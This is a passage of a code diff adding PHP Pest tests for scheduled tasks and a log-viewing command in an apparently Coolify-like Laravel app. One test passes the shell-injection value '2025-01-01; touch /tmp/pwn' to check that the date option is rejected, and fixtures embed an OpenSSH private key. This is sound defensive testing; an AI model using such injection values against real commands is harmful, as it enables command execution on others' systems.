use Illuminate\Support\Facades\Queue;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
it('dispatches scheduled tasks across chunks', function () {
|
||||
config(['constants.coolify.self_hosted' => true]);
|
||||
Carbon::setTestNow(Carbon::create(2026, 5, 27, 0, 1, 0, 'UTC'));
|
||||
Queue::fake();
|
||||
|
||||
$team = Team::factory()->create();
|
||||
$privateKey = PrivateKey::create([
|
||||
'name' => 'Test Key',
|
||||
'private_key' => '-----BEGIN OPENSSH PRIVATE KEY-----
|
||||
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
|
||||
QyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevAAAAJi/QySHv0Mk
|
||||
hwAAAAtzc2gtZWQyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevA
|
||||
AAAECBQw4jg1WRT2IGHMncCiZhURCts2s24HoDS0thHnnRKVuGmoeGq/pojrsyP1pszcNV
|
||||
uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA==
|
||||
-----END OPENSSH PRIVATE KEY-----',
|
||||
'team_id' => $team->id,
|
||||
]);
|
||||
$server = Server::factory()->create([
|
||||
'team_id' => $team->id,
|
||||
'private_key_id' => $privateKey->id,
|
||||
]);
|
||||
$server->settings()->update([
|
||||
'is_reachable' => true,
|
||||
'is_usable' => true,
|
||||
'force_disabled' => false,
|
||||
'docker_cleanup_frequency' => '0 * * * *',
|
||||
]);
|
||||
|
||||
$destination = StandaloneDocker::where('server_id', $server->id)->first()
|
||||
?? StandaloneDocker::factory()->create(['server_id' => $server->id]);
|
||||
$project = Project::factory()->create(['team_id' => $team->id]);
|
||||
$environment = Environment::factory()->create(['project_id' => $project->id]);
|
||||
$application = Application::factory()->create([
|
||||
'environment_id' => $environment->id,
|
||||
'destination_id' => $destination->id,
|
||||
'destination_type' => StandaloneDocker::class,
|
||||
'status' => 'running',
|
||||
]);
|
||||
|
||||
ScheduledTask::factory()
|
||||
->count(101)
|
||||
->create([
|
||||
'team_id' => $team->id,
|
||||
'application_id' => $application->id,
|
||||
'frequency' => '* * * * *',
|
||||
'enabled' => true,
|
||||
]);
|
||||
|
||||
(new ScheduledJobManager)->handle();
|
||||
|
||||
Queue::assertPushed(ScheduledTaskJob::class, 101);
|
||||
});
|
||||
|
||||
it('skips expensive dispatch for non-due schedules while seeding dedup cache', function () {
|
||||
config(['constants.coolify.self_hosted' => true]);
|
||||
Carbon::setTestNow(Carbon::create(2026, 5, 27, 0, 1, 0, 'UTC'));
|
||||
Queue::fake();
|
||||
|
||||
$application = createScheduledTaskApplication();
|
||||
|
||||
$task = ScheduledTask::factory()->create([
|
||||
'team_id' => $application->environment->project->team_id,
|
||||
'application_id' => $application->id,
|
||||
'frequency' => '0 2 * * *',
|
||||
'enabled' => true,
|
||||
]);
|
||||
|
||||
(new ScheduledJobManager)->handle();
|
||||
|
||||
Queue::assertNotPushed(ScheduledTaskJob::class);
|
||||
expect(Cache::get("scheduled-task:{$task->id}"))->not->toBeNull();
|
||||
});
|
||||
|
||||
it('does not query relationships when constructing scheduled task jobs', function () {
|
||||
$application = createScheduledTaskApplication();
|
||||
|
||||
$task = ScheduledTask::factory()->create([
|
||||
'team_id' => $application->environment->project->team_id,
|
||||
'application_id' => $application->id,
|
||||
'frequency' => '* * * * *',
|
||||
'enabled' => true,
|
||||
])->fresh();
|
||||
|
||||
DB::flushQueryLog();
|
||||
DB::enableQueryLog();
|
||||
|
||||
$job = new ScheduledTaskJob($task);
|
||||
|
||||
expect(DB::getQueryLog())->toBeEmpty()
|
||||
->and($job->queue)->toBe(crons_queue())
|
||||
->and($job->timeout)->toBe(300);
|
||||
});
|
||||
|
||||
function createScheduledTaskApplication(): Application
|
||||
{
|
||||
$team = Team::factory()->create();
|
||||
$privateKey = PrivateKey::create([
|
||||
'name' => 'Test Key',
|
||||
'private_key' => '-----BEGIN OPENSSH PRIVATE KEY-----
|
||||
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
|
||||
QyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevAAAAJi/QySHv0Mk
|
||||
hwAAAAtzc2gtZWQyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevA
|
||||
AAAECBQw4jg1WRT2IGHMncCiZhURCts2s24HoDS0thHnnRKVuGmoeGq/pojrsyP1pszcNV
|
||||
uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA==
|
||||
-----END OPENSSH PRIVATE KEY-----',
|
||||
'team_id' => $team->id,
|
||||
]);
|
||||
$server = Server::factory()->create([
|
||||
'team_id' => $team->id,
|
||||
'private_key_id' => $privateKey->id,
|
||||
]);
|
||||
$server->settings()->update([
|
||||
'is_reachable' => true,
|
||||
'is_usable' => true,
|
||||
'force_disabled' => false,
|
||||
'docker_cleanup_frequency' => '0 * * * *',
|
||||
]);
|
||||
|
||||
$destination = StandaloneDocker::where('server_id', $server->id)->first()
|
||||
?? StandaloneDocker::factory()->create(['server_id' => $server->id]);
|
||||
$project = Project::factory()->create(['team_id' => $team->id]);
|
||||
$environment = Environment::factory()->create(['project_id' => $project->id]);
|
||||
|
||||
return Application::factory()->create([
|
||||
'environment_id' => $environment->id,
|
||||
'destination_id' => $destination->id,
|
||||
'destination_type' => StandaloneDocker::class,
|
||||
'status' => 'running',
|
||||
]);
|
||||
}
|
||||
@@ -0,0 +1,35 @@
|
||||
<?php
|
||||
|
||||
use App\Console\Commands\ViewScheduledLogs;
|
||||
use App\Http\Middleware\CheckForcePasswordReset;
|
||||
use App\Http\Middleware\DecideWhatToDoWithUser;
|
||||
use App\Models\InstanceSettings;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Once;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
$this->withoutMiddleware([DecideWhatToDoWithUser::class, CheckForcePasswordReset::class]);
|
||||
Once::flush();
|
||||
if (! InstanceSettings::find(0)) {
|
||||
$settings = new InstanceSettings;
|
||||
$settings->id = 0;
|
||||
$settings->saveQuietly();
|
||||
}
|
||||
});
|
||||
|
||||
describe('logs:scheduled --date option', function () {
|
||||
test('rejects a malformed date and exits before touching the shell', function () {
|
||||
$this->artisan('logs:scheduled', ['--date' => '2025-01-01; touch /tmp/pwn'])
|
||||
->expectsOutputToContain('Invalid date format')
|
||||
->assertExitCode(ViewScheduledLogs::INVALID);
|
||||
|
||||
expect(file_exists('/tmp/pwn'))->toBeFalse();
|
||||
});
|
||||
|
||||
test('accepts a well-formed date', function () {
|
||||
$this->artisan('logs:scheduled', ['--date' => '2025-01-01'])
|
||||
->assertExitCode(0);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,66 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Application;
|
||||
use App\Models\Project;
|
||||
use App\Models\ScheduledTask;
|
||||
use App\Models\Server;
|
||||
use App\Models\Service;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\Team;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
$this->team = Team::factory()->create();
|
||||
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->destination = StandaloneDocker::where('server_id', $this->server->id)->first();
|
||||
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->environment = $this->project->environments()->first();
|
||||
});
|
||||
|
||||
it('returns null when neither application nor service is set', function () {
|
||||
$task = ScheduledTask::factory()->create([
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
|
||||
expect($task->server())->toBeNull();
|
||||
});
|
||||
|
||||
it('does not throw when accessing dynamic properties on a parentless task', function () {
|
||||
$task = ScheduledTask::factory()->create([
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
|
||||
expect(fn () => $task->server())->not->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
it('resolves server via application destination', function () {
|
||||
$application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
$task = ScheduledTask::factory()->create([
|
||||
'application_id' => $application->id,
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
|
||||
expect($task->server()?->id)->toBe($this->server->id);
|
||||
});
|
||||
|
||||
it('resolves server via service destination', function () {
|
||||
$service = Service::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
$task = ScheduledTask::factory()->create([
|
||||
'service_id' => $service->id,
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
|
||||
expect($task->server()?->id)->toBe($this->server->id);
|
||||
});
|
||||
Loaded 100 of 766 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user